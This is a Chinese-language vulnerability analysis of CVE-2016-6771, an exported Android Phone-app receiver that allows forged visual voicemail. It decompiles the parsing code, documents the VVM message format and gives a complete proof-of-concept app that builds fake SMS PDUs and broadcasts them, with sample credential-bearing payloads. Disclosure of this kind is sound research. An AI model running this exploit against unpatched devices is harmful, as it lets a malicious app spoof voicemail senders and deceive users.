CVE-2016-6771: Android 语音信箱伪造漏洞分析

谷歌近期对外公布了12月份的安全公告,其中包含腾讯安全平台部终端安全团队提交的语音信箱伪造漏洞(CVE-2016-6771),该漏洞可导致恶意应用进行伪造语音信箱攻击。目前谷歌已经发布补丁,本文将对该漏洞进行分析。

漏洞概述

Phone应用中存在一处未受保护的暴露组件com.android.phone.vvm.omtp.sms.OmtpMessageReceiver,该组件接收来自外部的Intent,解析承载的VVM协议,构造语音信箱。该漏洞可以被本地恶意应用触发,进行伪造语音信箱攻击。该漏洞属于比较常规的暴露组件问题。

漏洞详情

在对AOSP中系统应用进行分析时,发现系统应用TeleService.apk(com.android.phone)存在一处暴露组件,该组件为com.android.phone.vvm.omtp.sms.OmtpMessageReceiver。根据组件名字应该是处理某类消息的组件,回想起以前谷歌出现的短信伪造漏洞,于是决定尝试进行分析,看是否存在该类漏洞。

由于该组件是一个广播接收者,于是分析onReceive回调函数处理逻辑,代码如下:

public void onReceive(Contextcontext, Intentintent) {
        this.mContext = context;
        this.mPhoneAccount = PhoneUtils.makePstnPhoneAccountHandle(intent.getExtras().getInt("phone"));
        if(this.mPhoneAccount == null) {
            Log.w("OmtpMessageReceiver", "Received message for null phone account");
            return;
        }
        if(!VisualVoicemailSettingsUtil.isVisualVoicemailEnabled(this.mContext, this.mPhoneAccount)) {
            Log.v("OmtpMessageReceiver", "Received vvm message for disabled vvm source.");
            return;
        }
 //开始解析intent,将intent承载的额外数据还原为SmsMessage(短信消息)
        SmsMessage[] v5 = Telephony$Sms$Intents.getMessagesFromIntent(intent);
        StringBuilderv3 = new StringBuilder();
        int v0;
 //把短信消息的body提取出来并合并
        for(v0 = 0; v0 < v5.length; ++v0) {
            if(v5[v0].mWrappedSmsMessage != null) {
                v3.append(v5[v0].getMessageBody());
            }
        }
 //通过OmtpSmsParser.parse对短息消息的body(vvm协议)进行解析封装到对应处理类
        WrappedMessageDatav4 = OmtpSmsParser.parse(v3.toString());
 //根据不同的协议执行不同功能
        if(v4 != null) {
            if(v4.getPrefix() == "//VVM:SYNC:") {
                SyncMessagev2 = new SyncMessage(v4);
                Log.v("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent());
                LocalLogHelper.log("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent());
                this.processSync(v2);
            }
            else if(v4.getPrefix() == "//VVM:STATUS:") {
                Log.v("OmtpMessageReceiver", "Received STATUS sms for " + this.mPhoneAccount.getId());
                LocalLogHelper.log("OmtpMessageReceiver", "Received Status sms for " + this.mPhoneAccount.getId());
                this.updateSource(new StatusMessage(v4));
            }
            else {
                Log.e("OmtpMessageReceiver", "This should never have happened");
            }
        }
    }

1.当intent承载的额外数据phone为存在的PhoneAccount且isVisualVoicemailEnabled的时候,会进入vvm协议的解析流程;

2.解析流程中首先通过Telephony$Sms$Intents.getMessagesFromIntent,把intent里承载的额外数据构造成SmsMessage,通过查看对应处理方法,可以知道intent承载的额外数据可以是3gpp短信消息结构;

public static SmsMessage[] getMessagesFromIntent(Intentintent) {
    Object[] messages;
    try {
 //提取pdus原始数据
 messages = (Object[]) intent.getSerializableExtra("pdus");
    }
    catch (ClassCastException e) {
 Rlog.e(TAG, "getMessagesFromIntent: " + e);
 return null;
    }
    if (messages == null) {
 Rlog.e(TAG, "pdus does not exist in the intent");
 return null;
    }
 //获取短消息格式类型
    String format = intent.getStringExtra("format");
    int subId = intent.getIntExtra(PhoneConstants.SUBSCRIPTION_KEY,
    SubscriptionManager.getDefaultSmsSubscriptionId());
    Rlog.v(TAG, " getMessagesFromIntent sub_id : " + subId);
    int pduCount = messages.length;
    SmsMessage[] msgs = new SmsMessage[pduCount];
 //构造短信消息
    for (int i = 0; i < pduCount; i++) {
        byte[] pdu = (byte[]) messages[i];
        msgs[i] = SmsMessage.createFromPdu(pdu, format);
        msgs[i].setSubId(subId);
    }
    return msgs;
}

3.从短信消息结构中提取出body部分,交由OmtpSmsParser.parse解析,流程如下:

package com.android.phone.vvm.omtp.sms;
import android.util.ArrayMap;
import android.util.Log;
import java.util.Map;
public class OmtpSmsParser {
    private static String TAG;
    static {
        OmtpSmsParser.TAG = "OmtpSmsParser";
    }
    public OmtpSmsParser() {
        super();
    }
    public static WrappedMessageDataparse(String smsBody) {
        WrappedMessageDatav4 = null;
        if(smsBody == null) {
            return v4;
        }
        WrappedMessageDatav0 = null;
 //短息消息需要满足前缀
        if(smsBody.startsWith("//VVM:SYNC:")) {
            v0 = new WrappedMessageData("//VVM:SYNC:", OmtpSmsParser.parseSmsBody(smsBody.substring(
                    "//VVM:SYNC:".length())));
            if(v0.extractString("ev") == null) {
                Log.e(OmtpSmsParser.TAG, "Missing mandatory field: ev");
                return v4;
            }
        }
        else if(smsBody.startsWith("//VVM:STATUS:")) {
            v0 = new WrappedMessageData("//VVM:STATUS:", OmtpSmsParser.parseSmsBody(smsBody.substring(
                    "//VVM:STATUS:".length())));
        }
        return v0;
    }
 //前缀之后需要满足的消息结构
    private static MapparseSmsBody(String message) {
        ArrayMapv3 = new ArrayMap();
        String[] v0 = message.split(";");
        int v6 = v0.length;
        int v4;
        for(v4 = 0; v4 < v6; ++v4) {
            String[] v2 = v0[v4].split("=");
            if(v2.length == 2) {
                ((Map)v3).put(v2[0].trim(), v2[1].trim());
            }
        }
        return ((Map)v3);
    }
}

通过分析解析流程,可以知道vvm协议由//VVM:STATUS或者//VVM:SYNC开头,后面有多个字段,由“;”分号作为分割,“=”等号作为键值对,通过分析StatusMessage(v4),SyncMessage(v4)的构造函数

public SyncMessage(WrappedMessageDatawrappedData) {
        super();
        this.mSyncTriggerEvent = wrappedData.extractString("ev");
        this.mMessageId = wrappedData.extractString("id");
        this.mMessageLength = wrappedData.extractInteger("l");
        this.mContentType = wrappedData.extractString("t");
        this.mSender = wrappedData.extractString("s");
        this.mNewMessageCount = wrappedData.extractInteger("c");
        this.mMsgTimeMillis = wrappedData.extractTime("dt");
    }

public StatusMessage(WrappedMessageDatawrappedData) {
        super();
        this.mProvisioningStatus = wrappedData.extractString("st");
        this.mStatusReturnCode = wrappedData.extractString("rc");
        this.mSubscriptionUrl = wrappedData.extractString("rs");
        this.mServerAddress = wrappedData.extractString("srv");
        this.mTuiAccessNumber = wrappedData.extractString("tui");
        this.mClientSmsDestinationNumber = wrappedData.extractString("dn");
        this.mImapPort = wrappedData.extractString("ipt");
        this.mImapUserName = wrappedData.extractString("u");
        this.mImapPassword = wrappedData.extractString("pw");
        this.mSmtpPort = wrappedData.extractString("spt");
        this.mSmtpUserName = wrappedData.extractString("smtp_u");
        this.mSmtpPassword = wrappedData.extractString("smtp_pw");
    }

可以知道,程序要解析vvm协议如下:

//VVM:STATUS:st=xxx;rc=0;rs=xxx;srv=xxx;tui=xxx;dn=xxx;ipt=xxx;u=xxx;pw=xxx;spt=xxx;smtp_u=xxx;smtp_pw=xxx

//VVM:SYNC:ev=xxx;id=xxx;l=xxx;t=xxx;s=xxx;c=xxx;dt=xxx;srv=xxx;ipt=xxx;u=xxx;pw=xxx

4.根据vvm协议,构造不同的数据结构,最后根据不同的协议执行不同的流程。

5.在测试过程中,发现//VVM:SYNC可以指定来源,伪造任意号码。而如果要在进入可视化语音邮箱界面,点击播放语音时能够产生语音的下载,需要事先有//VVM:STATUS协议,这样在点击播放时才会去对应的服务器进行账号登录,获取数据(具体的测试本人并深入去测试,如有错误望大家指正),相关vvm协议可以参考资料[1]和[2]。

POC如下 :

构造一个短信消息结构,其中body为符合相关解析流程的//VVM协议,就可以让OmtpMessageReceiver根据外部intent承载的额外数据构造伪造的语音信箱。其中,较早版本的Android系统曾经出现过伪造短信的漏洞,直接利用那段代码[3],构造短信消息可以。

@Override
    protected void onCreate(BundlesavedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        statusButton = (Button) findViewById(R.id.status_btn);
        syncButton = (Button) findViewById(R.id.sync_btn);

        statusButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(Viewview) {
 //VVM:STATUS消息
                createFakeSms(MainActivity.this, "100000", "//VVM:STATUS:st=R;rc=0;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;lang=1|2|3|4;g_len=180;vs_len=10;pw_len=4-9");
  }
        });

        syncButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(Viewview) {
 //VVM:SYNC消息
                createFakeSms(MainActivity.this, "100000", "//VVM:SYNC:ev=NM;c=1;t=v;s=12345678;dt=09/16/2016 10:53 -0400;l=7;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;");
            }
        });
    }

 //构造短信消息
    private static void createFakeSms(Contextcontext, String sender,
                                      String body) {
        byte[] pdu = null;
        byte[] scBytes = PhoneNumberUtils
                .networkPortionToCalledPartyBCD("0000000000");
        byte[] senderBytes = PhoneNumberUtils
                .networkPortionToCalledPartyBCD(sender);
        int lsmcs = scBytes.length;
        byte[] dateBytes = new byte[7];
        Calendarcalendar = new GregorianCalendar();
        dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));
        dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
        dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH)));
        dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY)));
        dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE)));
        dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND)));
        dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
                .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
        try {
            ByteArrayOutputStreambo = new ByteArrayOutputStream();
            bo.write(lsmcs);
            bo.write(scBytes);
            bo.write(0x04);
            bo.write((byte) sender.length());
            bo.write(senderBytes);
            bo.write(0x00);
            bo.write(0x00); // encoding: 0 for default 7bit
            bo.write(dateBytes);
            try {
                String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
    Class cReflectedNFCExtras = Class.forName(sReflectedClassName);
                MethodstringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
                        "stringToGsm7BitPacked", new Class[] { String.class });
                stringToGsm7BitPacked.setAccessible(true);
                byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,
                        body);
                bo.write(bodybytes);
            } catch (Exception e) {
            }

            pdu = bo.toByteArray();
        } catch (IOException e) {
        }
 //构造待发送的intent
        Intentintent = new Intent();
        intent.setClassName("com.android.phone",
                "com.android.phone.vvm.omtp.sms.OmtpMessageReceiver");
        intent.putExtra("phone",0);
        intent.putExtra("pdus", new Object[] { pdu });
        intent.putExtra("format", "3gpp");
        context.sendBroadcast(intent);
    }

    private static byte reverseByte(byte b) {
        return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) <<4);
    }

实际效果

可以伪造语音信箱来源为12345678,欺骗用户

修复方案

谷歌的修复方案是设置该组件为不导出

文章转载自 开源中国社区 [http://www.oschina.net]

时间: 2024-07-28 18:13:33

CVE-2016-6771: Android 语音信箱伪造漏洞分析的相关文章

绿盟科技互联网安全威胁周报2016.25 持续关注思科防火墙漏洞

绿盟科技发布了本周安全通告,周报编号NSFOCUS-16-25,绿盟科技漏洞库本周新增46条,其中高危12条.本次周报建议大家关注持续关注思科防火墙漏洞CVE-2016-6366,虽然思科已经给出补丁,但有消息说,攻击者也更新了代码. 焦点漏洞 漏洞描述:Cisco Adaptive Appliance SNMP远程执行代码漏洞 NSFOCUS ID:34586 CVEID:CVE-2016-6366 漏洞点评 Cisco Adaptive Security Appliance (ASA)Sof

绿盟科技互联网安全威胁周报2016.34 本周关注ntp拒绝服务漏洞

绿盟科技发布了本周安全通告,周报编号NSFOCUS-16-34,绿盟科技漏洞库本周新增42条,其中高危13条.本次周报建议大家关注 ntp拒绝服务漏洞 ,可导致信息泄露.目前官方已经发布更新,强烈建议用户检查自己使用的ntp是否为受影响的版本,如果是,尽快升级. 焦点漏洞 ntp拒绝服务漏洞 NSFOCUS ID 35472 CVE ID CVE-2016-9312 受影响版本 nptd version < ntp-4.2.8p9 ntp-4.3.0 <= ntpd version <

Android 版茄子快传漏洞分析

Lenovo 安全公告:LEN-6421 潜在影响:使用较旧 Android 版本的用户可能容易受到远程代码执行或 UXSS 攻击的影响,使用任何 Android 版本的用户可能容易受到 Intent Scheme 攻击的影响. 重要性:高 摘要描述: 已在低于 3.5.98_ww 版本的 Android 版茄子快传上发现漏洞.Lenovo 建议客户更新到最新版茄子快传以避免此类漏洞. Android 版茄子快传可能会预装在某些 Lenovo 移动设备上,也可下载至非 Lenovo 的 Andr

绿盟科技互联网安全威胁周报2016.32 请关注GitLab目录遍历漏洞CVE-2016-9086

绿盟科技发布了本周安全通告,周报编号NSFOCUS-16-32,绿盟科技漏洞库本周新增98条,其中高危83条.本次周报建议大家关注GitLab目录遍历漏洞,可导致远程代码执行.目前官方已经给出了解决方案,强烈建议用户检查自己的gitlab是否为受影响的版本,如果是,按照官方方案进行修复. 焦点漏洞 GitLab目录遍历漏洞 NSFOCUS ID  35391 CVE ID  CVE-2016-9086 受影响版本 8.13.0-8.13.2 8.12.0-8.12.7 8.11.0-8.11.9

编码-android 语音实时原始通话 语音数据用什么编解码?

问题描述 android 语音实时原始通话 语音数据用什么编解码? android 局域网实时通话,如果直接录音,发送,播放,音频是原始的Pcm数据,会有噪音.所以语音数据要再次编码再发送.那么问题来了,用什么编解码方案? 解决方案 用silk来处理编码吧

Android 调试器爆漏洞,可获取设备内存数据

本月中旬,谷歌推出了针对查找安卓系统漏洞的"安卓安全奖励"计划,发现一次漏洞最少可获500美元奖励.不过半月,真的有人发现了安卓系统漏洞.趋势科技(Trend Micro)近日发现了存在于Android调试器Debuggerd中的漏洞,该漏洞可以获取设备内存中的数据,包括Android 4.0 Ice Cream Sandwich(冰淇淋三明治)到Lollipop(棒棒糖)等系统均受到影响. Debuggerd 是android的一个daemon进程,负责在进程异常出错时,将进程的运行

黑云压城城欲摧 - 2016年iOS公开可利用漏洞总结

黑云压城城欲摧 - 2016年iOS公开可利用漏洞总结 作者:蒸米,耀刺,黑雪 @ Team OverSky   0x00 序 iOS的安全性远比大家的想象中脆弱,除了没有公开的漏洞以外,还有很多已经公开并且可被利用的漏洞,本报告总结了2016年比较严重的iOS漏洞(可用于远程代码执行或越狱),希望能够对大家移动安全方面的工作和研究带来一些帮助. 0x01 iOS 10.1.1 公开的可利用漏洞 mach_portal攻击链:该攻击链是由Google Project Zero的Ian Beer公

Google发布2016年Android系统生态安全报告

Google近日发布了2016年度Android系统生态安全报告(下载报告原文请关注IT经理网微信号:ctociocom,后台回复Android Security2016+邮件地址),指出2016年Android生态系统的安全性已经取得长足进步,尤其是Google Play的表现非常亮眼. 从下图可以看出,2016年Android生态系统的潜在恶意软件(PHA)和流氓软件(Unwanted Software)占安装数比例同比都有大幅下降,Google Play的下降比例甚至超过了50%(从0.8

谷歌Android曝8个漏洞 危害不大

中介交易 http://www.aliyun.com/zixun/aggregation/6858.html">SEO诊断 淘宝客 云主机 技术大厅 3月6日消息,研究人员日前发现谷歌Android SDK平台存在多个安全漏洞,有可能被黑客利用发动攻击,但由于Android产品还需要几个月才能上市,因此上述漏洞的危害目前并不大. 据国外媒体报道,安全机构Core Security周二在其官方网站发布警告称,在Android SDK平台的部分开源图片加工库中发现了8个安全漏洞,但这些漏洞都已